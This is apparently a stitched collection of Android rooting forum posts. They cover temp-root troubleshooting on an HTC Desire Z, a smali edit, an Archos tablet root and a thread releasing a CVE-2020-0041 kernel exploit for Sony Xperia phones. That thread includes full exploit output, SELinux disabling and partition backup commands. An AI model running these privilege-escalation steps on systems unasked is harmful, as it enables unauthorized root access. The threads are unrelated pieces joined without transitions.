Hi, guys!
I've tried rooting my DesireZ using "Downgrading guide from gingerbread to froyo" (link was destroyed by forum rules)
It is really clear and easy to do guide. But I ran into a problem because I can't make a root backup after gaining Temporary root on HTC DESIRE Z (2.42.405.2). When fixsu.sh ends I am starting "Root check basic" app and it has show me the result is OK. Then I starts MyBackupPro. The first time it shows me new menu item with root operations, but after that it refusing do anything instead of message "There is no properly root access". Titanium Backup behaves in the same way: it properly starts, but does not work with system applications. The only step in the guide I have missed is "Changing version number", but I think the problem is not the case, is it true? Could you tell me please, what may be a reason?
I really fear to begin change the ROM before to have full backup...
Try a full power off. turn the phone off, pull the battery out for a minute, then turn it back on and retry the temp-root.
Sometimes the 'fastboot' feature of sense roms messes with the temp-root.
-Nipqer
Nipqer said:
Try a full power off. turn the phone off, pull the battery out for a minute, then turn it back on and retry the temp-root.
Sometimes the 'fastboot' feature of sense roms messes with the temp-root.
-Nipqer
Click to expand...
Click to collapse
unfortunately, did not help.
Here is log after I turned device:
C:\Documents and Settings\htc>adb devices
List of devices attached
HT0BHRT01025 device
C:\Documents and Settings\htc>adb shell
$ /data/local/tmp/fre3vo -debug -start FAA90000 -end FFFFFFFF
/data/local/tmp/fre3vo -debug -start FAA90000 -end FFFFFFFF
fre3vo by #teamwin
Please wait...
Attempting to modify ro.secure property...
fb_fix_screeninfo:
id: msmfb
smem_start: 802160640
smem_len: 3145728
type: 0
type_aux: 0
visual: 2
xpanstep: 0
ypanstep: 1
line_length: 1920
mmio_start: 0
accel: 0
fb_var_screeninfo:
xres: 480
yres: 800
xres_virtual: 480
yres_virtual: 1600
xoffset: 0
yoffset: 800
bits_per_pixel: 32
activate: 16
height: 80
width: 48
rotate: 0
grayscale: 0
nonstd: 0
accel_flags: 0
pixclock: 0
left_margin: 0
right_margin: 0
upper_margin: 0
lower_margin: 0
hsync_len: 0
vsync_len: 0
sync: 0
vmode: 0
Buffer offset: 00000000
Buffer size: 8192
Scanning region faa90000...
Scanning region fab80000...
Scanning region fac70000...
Scanning region fad60000...
Scanning region fae50000...
Scanning region faf40000...
Scanning region fb030000...
Scanning region fb120000...
Scanning region fb210000...
Scanning region fb300000...
Scanning region fb3f0000...
Scanning region fb4e0000...
Scanning region fb5d0000...
Scanning region fb6c0000...
Scanning region fb7b0000...
Scanning region fb8a0000...
Scanning region fb990000...
Scanning region fba80000...
Potential exploit area found at address fbb52000:1000.
Exploiting device...
C:\Documents and Settings\htc>adb shell
# cd /data/local/tmp
cd /data/local/tmp
# ./fixsu.sh
./fixsu.sh
# cat /system/etc/passwd
cat /system/etc/passwd
root::0:0:root:/data/local:/system/bin/sh !!ROOT is really getting!
# cat /system/etc/passwd
cat /system/etc/passwd
keychar xV4 9 0 0 0 # !!After MyBackup Pro start
#
I think the problem is the destruction of the memory area, where exploit works.
Maybe there are other ideas?
Note: this process will work for either JWR66V and JSS15J.
pull android.policy.jar from /system/framework using adb or a root file explorer
apktool d android.policy.jar
Navigate to android.policy.jar.out\smali\com\android\internal\policy\impl\PhoneWindowManager.smali
Search for .method private isWakeKeyWhenScreenOff(I)Z
A few lines down will be 0x18 -> :sswitch_0 and 0x19 -> :sswitch_0
Delete both these lines. It should look like this towards the bottom near .end method:
PHP:
.sparse-switch
0x1b -> :sswitch_1
0x4f -> :sswitch_1
0x55 -> :sswitch_1
0x56 -> :sswitch_1
0x57 -> :sswitch_1
0x58 -> :sswitch_1
0x59 -> :sswitch_1
0x5a -> :sswitch_1
0x5b -> :sswitch_1
0x7e -> :sswitch_1
0x7f -> :sswitch_1
0x82 -> :sswitch_1
0xa4 -> :sswitch_0
.end sparse-switch
.end method
Save, and close out of PhoneWindowManager.smali
apktool b android.policy.jar.out android.mod.policy.jar
Rename android.mod.policy.jar to android.policy.jar
Push to /system/framework
chmod 644 or set permissions to rw-r-r
Reboot to recovery
Wipe cache
Wipe dalvik
Fix permissions
Reboot to system
Success.
What is the command to remount /system/ in RW mode? Or shall I do it from TWRP?
EDIT: you can mount system from TWRP, then use the built-in file manager to copy the file and CHMOD to give permissions. Then you wipe Dalvik and Cache and Fix Permissions and it works as expected.
Tested on TWRP 2.6.0.0
Tiwiz
tiwiz said:
What is the command to remount /system/ in RW mode? Or shall I do it from TWRP?
EDIT: you can mount system from TWRP, then use the built-in file manager to copy the file and CHMOD to give permissions. Then you wipe Dalvik and Cache and Fix Permissions and it works as expected.
Tested on TWRP 2.6.0.0
Tiwiz
Click to expand...
Click to collapse
For next time
in terminal:
su
mount -o rw,remount /system
chmod 644 blahblahblah.apk
reboot
Good luck!
I had an error installing this on my VZW toro device (JSS15J). Yes, I understand this is for JWR66V but after downloading your jar file and installing it over my own based on location in OP (I used Root Explorer Pro). Yes, I made sure I had the correct permissions, wiped cache, dalvik, etc... I had some error message in the beginning (something about authentication/verification) and it had to rebuild my apps. Weirdly it still worked nevertheless.
AznInertia said:
I had an error installing this on my VZW toro device (JSS15J). Yes, I understand this is for JWR66V but after downloading your jar file and installing it over my own based on location in OP (I used Root Explorer Pro). I had some error message in the beginning (something about authentication/verification) and it had to rebuild my apps. Weirdly it still worked nevertheless.
Click to expand...
Click to collapse
I did the same thing when I flashed a build of JSS15J and used the version for JWR66V, the only real thing I noticed was some headings were modified with a bunch of crazy gibberish like &#$^$%^d is rebuilding, and my power menu was awry, the procedure for JSS15J is the same though.
Can U make volume Skip Songs?
It gave me error when i tried to use apktool, so i tried to do that with smali&baksmali.
I don't have any build errors but when i pushed into my phone, and chmod,fixpermissions etc. after that my phone booted up succesfully but my phone got mad.
My power menu goes mad, my lockscreen won't open, and many madness. I don't know why
This worked for JWR66V ROM, thanks.
I've since updated to JLS36J, and the lines that you specified above to be deleted aren't present. Can you update the guide for the new build, please?
Hi,
i just found a way to root the 80 xs you need Linux for it (i think a Virtual machine should do but i didn't test it).
FIRST OF ALL YOU CAN BRICK YOUR DEVICE AND I AM NOT RESPONSIBLE FOR IT
Based on "Rooting the Cube U30GT rk3066 android tablet" i think a copy and past version makes it more easy
http://valentijn.sessink.nl/?p=382
download
superuser and su from
http://forum.xda-developers.com/showthread.php?t=1835502
rkflashtool to readout your system
http://sourceforge.net/projects/rkflashtool
and linux_upgrade_tool to upload your modified system image
http://dl.radxa.com/rock/tools/linux/
put all (even Superuser.apk and su from the archive) in top of one directory (/home/user/archos) connect your device to the pc
open a terminal
get root
# cd archos
# adb reboot bootloader
# ./rkflashtool r 0x0000 0x2000 > /tmp/parm
# head -11 /tmp/parm
search for system, there you have the position of your system just to be sure if its the same for you
Code:
PARMDFIRMWARE_VER:4.0.4
MACHINE_MODEL:ARCHOS 80XSK
MACHINE_ID:007
MANUFACTURER:RK30SDK
MAGIC: 0x5041524B
ATAG: 0x60000800
MACHINE: 3066
CHECK_MASK: 0x80
KERNEL_IMG: 0x60408000
#RECOVER_KEY: 1,1,0,20,0
CMDLINE: console=ttyFIQ0 androidboot.console=ttyFIQ0 init=/init initrd=0x62000000,0x00800000 mtdparts=rk29xxnand:[email protected](misc),[email protected](kernel),[email protected](boot),[email protected](recovery),[email protected](backup),[email protected](cache),[email protected](kpanic),[U][COLOR="Red"][email protected](system)[/COLOR][/U],[email protected](userdata)
# ./rkflashtool r 0x00154000 0x00100000 > system
# cp system new
# mkdir /mnt/img
# mount new /mnt/img
# cp su /mnt/img/bin/
# cp Superuser.apk /mnt/img/app/
# chown root:2000 /mnt/img/bin/su
# chmod 6774 /mnt/img/bin/su
# umount /mnt/img
# ./upgrade_tool di -s new
# ./rkflashtool b
and if all went right open terminal on the tablet and type su and watch superuser to come up
now you can install AdAway from F-Droid and be happy
Greetings
Sebastian
temp root exploit for sony xperia XZ2/XZ2c/XZ2p/XZ3 with android 10 firmware
including temporal magisk setup from the exploit
The exploit uses CVE-2020-0041 originally designed for Pixel 3 running kernel 4.9.
I have adapted the Pixel 3 specific exploit for kernel 4.9 that is used with sony TAMA platform phones running Android 10 with February 2020 security patch level.
SUPPORTED TARGETS
H8116-52.1.A.0.618 - xperia XZ2 Premium
H8166-52.1.A.0.618 - xperia XZ2 Premium dual
H8216-52.1.A.0.618 - xperia XZ2
H8266-52.1.A.0.618 - xperia XZ2 dual
H8296-52.1.A.0.618 - xperia XZ2 dual
H8314-52.1.A.0.618 - xperia XZ2 Compact
H8324-52.1.A.0.618 - xperia XZ2 Compact dual
H8416-52.1.A.0.618 - xperia XZ3
H9436-52.1.A.0.618 - xperia XZ3 dual
H9493-52.1.A.0.532 - xperia XZ3 dual
This has been tested only with xperia XZ2 H8216-52.1.A.0.618 target, but support for other targets have been implemented based on analysis of each kernel image from target firmware.
Please note, it is unlikely that any other fw version than those listed above would work.
The only (unlikely) case when the exploit could work with different fw version (or different phone model) would be that they would use binary identical kernel image in the firmware.
USAGE HOWTO INCLUDING MAGISK SETUP
be sure to run supported firmware version on your phone (you may need to downgrade, involving factory reset)
enable developer mode options and in there adb debugging (eventually install adb drivers)
download the tama-mroot.zip with the exploit attached in this post
download Magisk-v20.4.zip from magisk releases page on github here
use 'adb push tama-mroot.zip Magisk-v20.4.zip /data/local/tmp' to copy the zips to the phone
unzip and prepare magisk setup with following commands in 'adb shell'
Code:
cd /data/local/tmp
unzip tama-mroot.zip
chmod 755 tama-mroot magisk-setup.sh magisk-start.sh
./magisk-setup.sh
get temp root and start magisk up with following commands in 'adb shell':
Code:
cd /data/local/tmp
./tama-mroot
./magisk-start.sh -1
./magisk-start.sh -2
./magisk-start.sh -3
If it worked, you should see something like this:
Code:
H8216:/ $ cd /data/local/tmp
H8216:/data/local/tmp $ ./tama-mroot
[+] Detected H8216-52.1.A.0.618 target
[+] Mapped 200000
[+] selinux_enforcing before exploit: 1
[+] pipe file: 0xffffffd07822fa00
[+] file epitem at ffffffd102da6d00
[+] Reallocating content of 'write8_inode' with controlled data...............[DONE]
[+] Overwriting 0xffffffd07822fa20 with 0xffffffd102da6d50...[DONE]
[+] Write done, should have arbitrary read now.
[+] file operations: ffffff9dee01ebf8
[+] kernel base: ffffff9dece80000
[+] Reallocating content of 'write8_selinux' with controlled data..[DONE]
[+] Overwriting 0xffffff9def290000 with 0x0...[DONE]
[+] init_cred: ffffff9def02fcd0
[+] memstart_addr: 0xfffffff040000000
[+] First level entry: ae7f6003 -> next table at ffffffd06e7f6000
[+] Second level entry: ae419003 -> next table at ffffffd06e419000
[+] sysctl_table_root = ffffff9def05c710
[+] Reallocating content of 'write8_sysctl' with controlled data.......[DONE]
[+] Overwriting 0xffffffd1316fc268 with 0xffffffd0ba748000...[DONE]
[+] Injected sysctl node!
[+] Node write8_inode, pid 7109, kaddr ffffffd0c1193700
[+] Replaced sendmmsg dangling reference
[+] Replaced sendmmsg dangling reference
[+] Replaced sendmmsg dangling reference
[+] Node write8_selinux, pid 6726, kaddr ffffffd08bfeb400
[+] Replaced sendmmsg dangling reference
[+] Replaced sendmmsg dangling reference
[+] Replaced sendmmsg dangling reference
[+] Node write8_sysctl, pid 6772, kaddr ffffffd0afc0d000
[+] Replaced sendmmsg dangling reference
[+] Replaced sendmmsg dangling reference
[+] Replaced sendmmsg dangling reference
[+] Cleaned up sendmsg threads
[+] epitem.next = ffffffd07822fa20
[+] epitem.prev = ffffffd07822fad8
[+] Launching privileged shell
root_by_cve-2020-0041:/data/local/tmp # ./magisk-start.sh -1
+ FRESH=false
+ '[' -1 '=' --fresh ']'
+ '[' ! -e /data/adb/magisk/busybox ']'
+ ./magiskpolicy --live --magisk 'allow dumpstate * * *'
Load policy from: /sys/fs/selinux/policy
root_by_cve-2020-0041:/data/local/tmp # ./magisk-start.sh -2
+ FRESH=false
+ '[' -2 '=' --fresh ']'
+ '[' ! -e /data/adb/magisk/busybox ']'
+ STAGE=2
+ '[' 2 '=' 2 ']'
+ mount -t tmpfs -o 'mode=755' none /sbin
+ chcon u:object_r:rootfs:s0 /sbin
+ chmod 755 /sbin
+ cp -a magisk/boot_patch.sh /sbin
+ cp -a magisk/magiskboot /sbin
+ cp -a magisk/magiskinit64 /sbin
+ cp -a magisk/busybox /sbin
+ cp -a magisk/util_functions.sh /sbin
+ cd /sbin
+ chmod 755 boot_patch.sh busybox magiskboot magiskinit64 util_functions.sh
+ mkdir r
+ mount -o bind / r
+ cp -a r/sbin/. /sbin
+ umount r
+ rmdir r
+ mv magiskinit64 magiskinit
+ ./magiskinit -x magisk magisk
+ ln -s /sbin/magiskinit /sbin/magiskpolicy
+ ln -s /sbin/magiskinit /sbin/supolicy
+ false
+ chcon -R u:object_r:magisk_file:s0 /data/adb/magisk
+ rm -f magiskboot util_functions.sh boot_patch.sh
+ ln -s /sbin/magisk /sbin/su
+ ln -s /sbin/magisk /sbin/resetprop
+ ln -s /sbin/magisk /sbin/magiskhide
+ mkdir /sbin/.magisk
+ chmod 755 /sbin/.magisk
+ >/sbin/.magisk/config
+ echo 'KEEPVERITY=true'
+ >>/sbin/.magisk/config
+ echo 'KEEPFORCEENCRYPT=true'
+ chmod 000 /sbin/.magisk/config
+ mkdir -p /sbin/.magisk/busybox
+ chmod 755 /sbin/.magisk/busybox
+ mv busybox /sbin/.magisk/busybox
+ mkdir -p /sbin/.magisk/mirror
+ chmod 000 /sbin/.magisk/mirror
+ mkdir -p /sbin/.magisk/block
+ chmod 000 /sbin/.magisk/block
+ mkdir -p /sbin/.magisk/modules
+ chmod 755 /sbin/.magisk/modules
+ mkdir -p /data/adb/modules
+ chmod 755 /data/adb/modules
+ mkdir -p /data/adb/post-fs-data.d
+ chmod 755 /data/adb/post-fs-data.d
+ mkdir -p /data/adb/service.d
+ chmod 755 /data/adb/service.d
+ chcon -R -h u:object_r:rootfs:s0 /sbin/.magisk
+ chcon u:object_r:magisk_file:s0 /sbin/.magisk/busybox/busybox
+ /sbin/magisk --daemon
client: launching new main daemon process
+ pidof magiskd
+ MP=14148
+ '[' -z 14148 ']'
+ >/sbin/.magisk/escalate
+ echo 14148
+ '[' -e /sbin/.magisk/escalate ']'
+ sleep 1
+ '[' -e /sbin/.magisk/escalate ']'
root_by_cve-2020-0041:/data/local/tmp # ./magisk-start.sh -3
+ FRESH=false
+ '[' -3 '=' --fresh ']'
+ '[' ! -e /data/adb/magisk/busybox ']'
+ STAGE=3
+ '[' 3 '=' 2 ']'
+ >/sbin/.magisk/magiskd
+ echo -e '#!/system/bin/sh\n/sbin/magisk --daemon'
+ chmod 755 /sbin/.magisk/magiskd
+ chcon u:object_r:dumpstate_exec:s0 /sbin/.magisk/magiskd
+ getprop init.svc.dumpstate
+ SVC=''
+ timeout=10
+ '[' 10 -gt 0 ']'
+ stop dumpstate
+ killall -9 magiskd
+ stop dumpstate
+ mount -o bind /sbin/.magisk/magiskd /system/bin/dumpstate
+ start dumpstate
+ timeout=10
+ '[' 10 -le 0 ']'
+ pidof magiskd
+ MP=14165
+ '[' -n 14165 ']'
+ break
+ stop dumpstate
+ sleep 1
+ umount /system/bin/dumpstate
+ rm -f /sbin/.magisk/magiskd
+ '[' '' '=' running ']'
+ rm -f /dev/.magisk_unblock
+ /sbin/magisk --post-fs-data
+ timeout=10
+ '[' -e /dev/.magisk_unblock -o 10 -le 0 ']'
+ sleep 1
+ timeout=9
+ '[' -e /dev/.magisk_unblock -o 9 -le 0 ']'
+ /sbin/magisk --service
+ sleep 1
+ /sbin/magisk --boot-complete
+ chmod 751 /sbin
root_by_cve-2020-0041:/data/local/tmp # id
uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc),3011(uhid) context=u:r:magisk:s0
root_by_cve-2020-0041:/data/local/tmp # uname -a
Linux localhost 4.9.186-perf+ #1 SMP PREEMPT Fri Jan 17 01:22:05 2020 aarch64
root_by_cve-2020-0041:/data/local/tmp # getenforce
Permissive
Now you can exit the temp root shell and use 'su' to get a root shell controlled by magisk manager or allow other apps that need root as asking for root permission now works.
The magisk setup from exploit including working permission asking has been fully developed by me, it uses some novel techniques to overcome the limitations caused by magisk run from a temp root instead of being integrated in boot process as a service.
Please be careful what you use the temp root for.
Changing something in partitions protected by dm-verity (or Android Verified Boot 2.0), like for example /system, /vendor or kernel boot image, can result with a not anymore booting phone.
This is why it is called 'temp root' - you get a root shell only temporarily, it is lost with reboot and it does not allow to make permanent changes in crucial partitions - you would need to unlock bootloader for that.
Some partitions might still be possible to modify - for example in case of sony xperia xz1 phones it was possible to do permanent debloat via changes in /oem partition and such debloat would survive even factory reset. Similarly some modem configs have been present in /oem allowing to setup IMS for different operators/regions or tune other modem related stuff.
Please note, this exploit will get you a root shell with still locked TAMA platform phones that could allow to backup TA partition in still locked state, having drm keys (the device key) still there. Backup of TA partition now works with tama-mroot avoiding 'Required key not available' you could experience with previously released tama-root.
There is currently no known method though how to restore drm functionalities after bootloader unlock even after restoring TA partition from the locked state backup.
For details please check exploiting xperia XZ2 - good and bad news post and following discussion there.
SOURCES
Exploit sources for all releases are available at my github here.
CREDITS
Big thanks to Blue Frost Security for the excellent writeup and the exploit itself.
DONATIONS
If you like my work, you can donate using the Donate to Me button with several methods there.
Thank you very much to all who donate.
DOWNLOAD
CHANGELOG
2020-05-14 : released initial version of tama-root (no magisk support, problem with 'Required key not available' returned from some commands)
2020-05-22 : finally got magisk from temp root working including permission asking feature - released as tama-mroot.zip
So you did it again! You are insane mate!!
Respect.
Relative noob here, I have a few questions with temporary root,
1- can I remove preinstalled apps e.g. I want to remove the preinstalled FB app,would it reappear after a reboot?
2- would this wipe our phones?
3- would it affect the camera etc
Thanks in advance.
@teostar, you may also check this thread for the answers.
Particularly post#5 may be applicable for tama too (did not check/test though).
So who's gonna go first? I'm interested to know if an ad block app like adaway can be installed now that modifies the hosts files. Or can I use titanium backup to backup/restore an app+data? There was an app I used to use via Xposed that let YouTube play in background as well, perhaps I can backup that app from old phone and restore it on my xz2c?
Edit: tried it, it works on my XZ2C H8314 on Verizon. Not sure what to do with it though. Seems that it just gives me a shell with root, dunno how that helps me get an app installed that needs root like adaway unless somehow I figure out what adaway app does behind the scenes and do it manually through the root shell?
well that didn't work, i guess the hosts file is in /system/etc/ so if we cant modify anything in /system then i guess even just modifying the hosts file could break something?
@Mike7143, to provide root access to apps, root manager like magisk is needed.
It can be started from an exploit (possibly with a bit limited functionality) as shown in this thread. Unfortunately that old magisk does not work with android 10.
I tried to start up latest magisk from the exploit, but it ended with magisk manager detected magisk root alright, but I could not make sending notifications from apps to ask magisk for root permission somehow.
So currently only the shell is available, allowing for example to backup still locked TA partition.
You can do small changes in /system, but if you would not get red triangle on boot, it would possibly revert the change.
You can modify stuff in /system on runtime "system less-ly" exactly like magisk does it though, using bind mounts.
Is this method compatible with lasted firmware? (.672)
Is this safe relock the bootloader with my backup? Nothing breaks?
Btw, amazing job! Now i think aosp project Will get more users. Hope xz3 get more popular in custom scene.
j4nn said:
Some partitions might still be possible to modify - for example in case of Sony Xperia XZ1 phones it was possible to do permanent debloat via changes in /oem partition and such debloat would survive even factory reset. Similarly some modem configs have been present in /oem allowing to setup IMS for different operators/regions or tune other modem related stuff.
Click to expand...
Click to collapse
Thanks for mentioning the VoLTE modem config on still locked XZ1 devices! Somehow I didn't read that in the XZ1 thread. Good to know! Maybe I won't unlock the bootloader of my backup XZ1, because adding VoLTE for my German telco provider Congstar to the stock firmware is enough for my use case.
j4nn said:
Please note, this exploit will get you a root shell with still locked TAMA platform phones that could allow to backup TA partition in still locked state, having drm keys (the device key) still there.
There is currently no known method though how to restore drm functionalities after bootloader unlock even after restoring TA partition from the locked state backup. For details please check exploiting xperia XZ2 - good and bad news post and following discussion there.
Click to expand...
Click to collapse
Too bad there is no possibility to restore the TA partition on the XZ2c yet. On the XZ1 this opened the door to real freedom!
j4nn said:
...Good news is that I've managed to adapt the first stage and eventually have been able to backup TA partition still in locked state. But then it went south, phone complained about corruption or something, refusing to boot and just powered off with no way of recovery - except bootloader unlock, that allowed me to eventually fix it.
Click to expand...
Click to collapse
So... if I'm reading this right, even just backing up the TA partition on the XZ2C caused something to break, forcing you to unlock? I was thinking maybe I should figure out how to backup my TA partition as well just in case in the future there's a fix, but if it's going to break it by just backing it up, that's an issue as well.
---------- Post added at 11:52 AM ---------- Previous post was at 11:42 AM ----------
j4nn said:
... I tried to start up latest magisk from the exploit, but it ended with magisk manager detected magisk root alright, but I could not make sending notifications from apps to ask magisk for root permission somehow.
So currently only the shell is available, allowing for example to backup still locked TA partition.
You can do small changes in /system, but if you would not get red triangle on boot, it would possibly revert the change.
You can modify stuff in /system on runtime "system less-ly" exactly like magisk does it though, using bind mounts.
Click to expand...
Click to collapse
So, basically all we have is temp root via adb shell. Doesn't seem that magisk works. I guess I'm not sure what you mean by "small" changes in /system, what is "small"? Coming from a 2013 Moto X developer edition that I could do anything with I'm really missing adaway and youtube adaway on my new XZ2C H8314. Not sure if modifying my hosts file would be considered small or not, and that doesn't take care of youtube adaway of which I'm not even sure how that works. DNS666 seems to be an alternative to adaway but it's not taking care of youtube.
Regarding modifying /system "system-lessly", I'll admit I'm a rookie when it comes to this stuff, I either have a lot to learn/read up on or wait for an easier to use app/workaround.
It seems like in your XZ1C post you and others were working on getting the XZ2C sorted out but since decided to go back and focus on the XZ1C?
@brunos0, the exploit cannot work with .672 firmware, the kernel in it already contains the vulnerability fix.
There is the list of supported targets / fw versions in the OP...
I am not aware of any method that would allow you to re-lock unlocked xz2* phone.
@SGH-i200, yes, I believe it should be possible to temp root oreo running xz1, from it flash your pie's oem partition, modify it according to your needs and upgrade with newflasher to latest pie skipping flash of oem partition, getting you latest stock pie with modified oem...
Concerning TA restore on XZ2c (or any other tama platform phone): it actually _is_ possible to easily restore TA partition from locked state backup, returning your device key (aka drm keys) back.
But it somehow seems the firmware does not use it anyway for some reason. Unfortunately even kernel hiding bootloader unlock does not help like it did with xz1* phones.
So it might happen that someone discovers a way to make drm features work if you have the keys restored from locked TA backup...
@Mike7143, no, that is a misunderstanding... That linked post, where I describe my initial exploiting of xz2 - that has been completely different exploit. That exploit has been originally designed for xz1c, ported partially for xz2 and in the process of trying/testing/implementing it, something broke... It has nothing to do with just released CVE-2020-0041 based exploit for xz2* phones.
So this new exploit is perfectly safe, only doing changes in RAM of linux kernel to escalate to root user with selinux changed to permissive.
After a reboot all is gone, no root or anything left from the exploit...
So you can safely backup locked TA to preserve the device key (drm keys) for future use.
Concerning changes - simply forget changing /system or /vendor or kernel boot partition.
It is however possible to use bind mounts to make "changes" on runtime, but that requires some knowledge obviously.
Maybe I can fix setup of magisk from the temproot exploit, but no promises, spent already huge amount of time on that and getting out of ideas unfortunately.
Thanks @j4nn for the reply. So you're saying that simply backing up the TA partition now while on this version and have temp root access shouldn't cause the phone to break? If so, I suppose it's worthwhile to get it backed up in case there's ever a future solution to restore it and have the system recognize it. Is the below quote from your OP regarding temp root on XZ1C how I'd backup my TA partition on my XZ2C?
j4nn said:
When renoroot is successful, you may use following commands in the root shell to backup the trim area partition:
Code:
cd /data/local/tmp
dd if=/dev/block/bootdevice/by-name/TA of=TA-locked.img
chown shell:shell TA-locked.img
sync
sync
And then try to read it out from the phone to your PC - use another command prompt window, do not exit the root one:
Code:
adb pull /data/local/tmp/TA-locked.img
Click to expand...
Click to collapse
If so, seems pretty straight forward to backup the TA partition with my DRM keys!
Regarding systemless changes with bind mounts, I'll have to look into that. I found one post here that seems like it's just making a link to another location that perhaps might work, but perhaps even just swapping out a file for a link might not be safe. I'm probably better off just waiting for someone to make more user-friendly tools and then make donations vs. trying to learn on my own and risk breaking my device!
If I can find a cheap/broken screen H8314 I might be able to buy it if it'd help with development of getting the XZ2C to be unlocked/rooted and retaining all the Sony features. I plan on using this phone for a while just like I just traded my 2013 Moto X for the XZ2C in 2020!
@Mike7143, yes, that's the way to back up TA even in case of XZ2* phones.
Here is an example to use bind mount to change hosts temporarily on runtime from a root shell:
Code:
akari:/ # cd /data/local/tmp
akari:/data/local/tmp # cp /system/etc/hosts .
akari:/data/local/tmp # mount -o bind hosts /system/etc/hosts
akari:/data/local/tmp # echo "127.0.0.1 some.url.com" >> /system/etc/hosts
akari:/data/local/tmp # cat /system/etc/hosts
127.0.0.1 localhost
::1 ip6-localhost
127.0.0.1 some.url.com
akari:/data/local/tmp #
as it is only a mount, the change is done in /data/local/tmp/hosts in fact, that can be seen like this:
Code:
akari:/data/local/tmp # umount /system/etc/hosts
akari:/data/local/tmp # cat /system/etc/hosts
127.0.0.1 localhost
::1 ip6-localhost
akari:/data/local/tmp # cat /data/local/tmp/hosts
127.0.0.1 localhost
::1 ip6-localhost
127.0.0.1 some.url.com
akari:/data/local/tmp #
As it seems .618 fw versions get missing from xperifirm, please let me know if you need some - I still have following:
H8116_Customized IBE_1313-3189_52.1.A.0.618_R3C
H8166_Customized FR_1313-2540_52.1.A.0.618_R4C
H8216_Customized UK_1313-4679_52.1.A.0.618_R5C
H8266_Customized FR_1313-2481_52.1.A.0.618_R4C
H8296_Customized TW_1313-6119_52.1.A.0.618_R4C
H8314_Customized FR_1313-2468_52.1.A.0.618_R4C
H8324_Customized FR_1313-2469_52.1.A.0.618_R2C
H8416_Customized IBE_1316-6423_52.1.A.0.618_R5C
H9436_Customized FR_1316-3076_52.1.A.0.618_R6C
H9493_Customized HK_1316-2331_52.1.A.0.532_R2C
so I may upload it on request.
j4nn said:
As it seems .618 fw versions get missing from xperifirm, please let me know if you need some.
Click to expand...
Click to collapse
I would be happy, if you mirror "H8324_*_52.1.A.0.618_R2C" for me! I forgot to check Xperifirm right after I read about your new temp root success. Shame on me.
j4nn said:
@Mike7143, yes, that's the way to back up TA even in case of XZ2* phones.
Click to expand...
Click to collapse
I tried to backup TA partition on XZ2C H8314 on 52.1.A.0.618 using temp root but when I run the line
Code:
dd if=/dev/block/bootdevice/by-name/TA of=TA-locked.img
I get
Code:
dd: TA-locked.img: Required key not available
Any ideas?
@SGH-i200, you can download it here:
https://androidfilehost.com/?w=files&flid=312525
H8324_Customized FR_1313-2469_52.1.A.0.618_R2C.zip
@Mike7143, you are right, it seems there is some limitation with the root permissions. I will check it. Probably would need some extension in the exploit.
j4nn said:
@Mike7143, you are right, it seems there is some limitation with the root permissions. I will check it. Probably would need some extension in the exploit.
Click to expand...
Click to collapse
Thanks for verifying that it wasn't something I'm not doing correctly! Just out of curiosity, I'm assuming that your XZ2C was on Android 10 and you had to unlock the BL to get it working again? Would you be able to provide a list of things that are now broken due to the unlock and loss of DRM keys so that folks like myself might be able to weigh whether or not we want to unlock? I'd really like to know exactly what I'm giving up, at least today on Android 10 for an unlocked BL so I can weigh the pros and cons. I'm not sure if you're familiar enough with the XZ2C and know what all features it had before and what's gone missing/broken after.
I can read lots about what's been broken and not on past versions of Android, but I'm not finding a lot of info yet on what's changed in Android 10, if anything. I have read that BL unlock on Android 10 doesn't break the camera anymore but it's unclear to me if reports are that the camera is no longer completely broken (green screen) but any Sony processing perks are gone, or if the camera and all the Sony stuff related to the camera and image processing are no longer affected.
Thanks!
@Mike7143, my xz2 unlock has been done on 52.0.A.8.131, that is a pie firmware. That time (2019-10-03) android Q had not been available for xz2 yet.
So I cannot help you with those questions, sorry.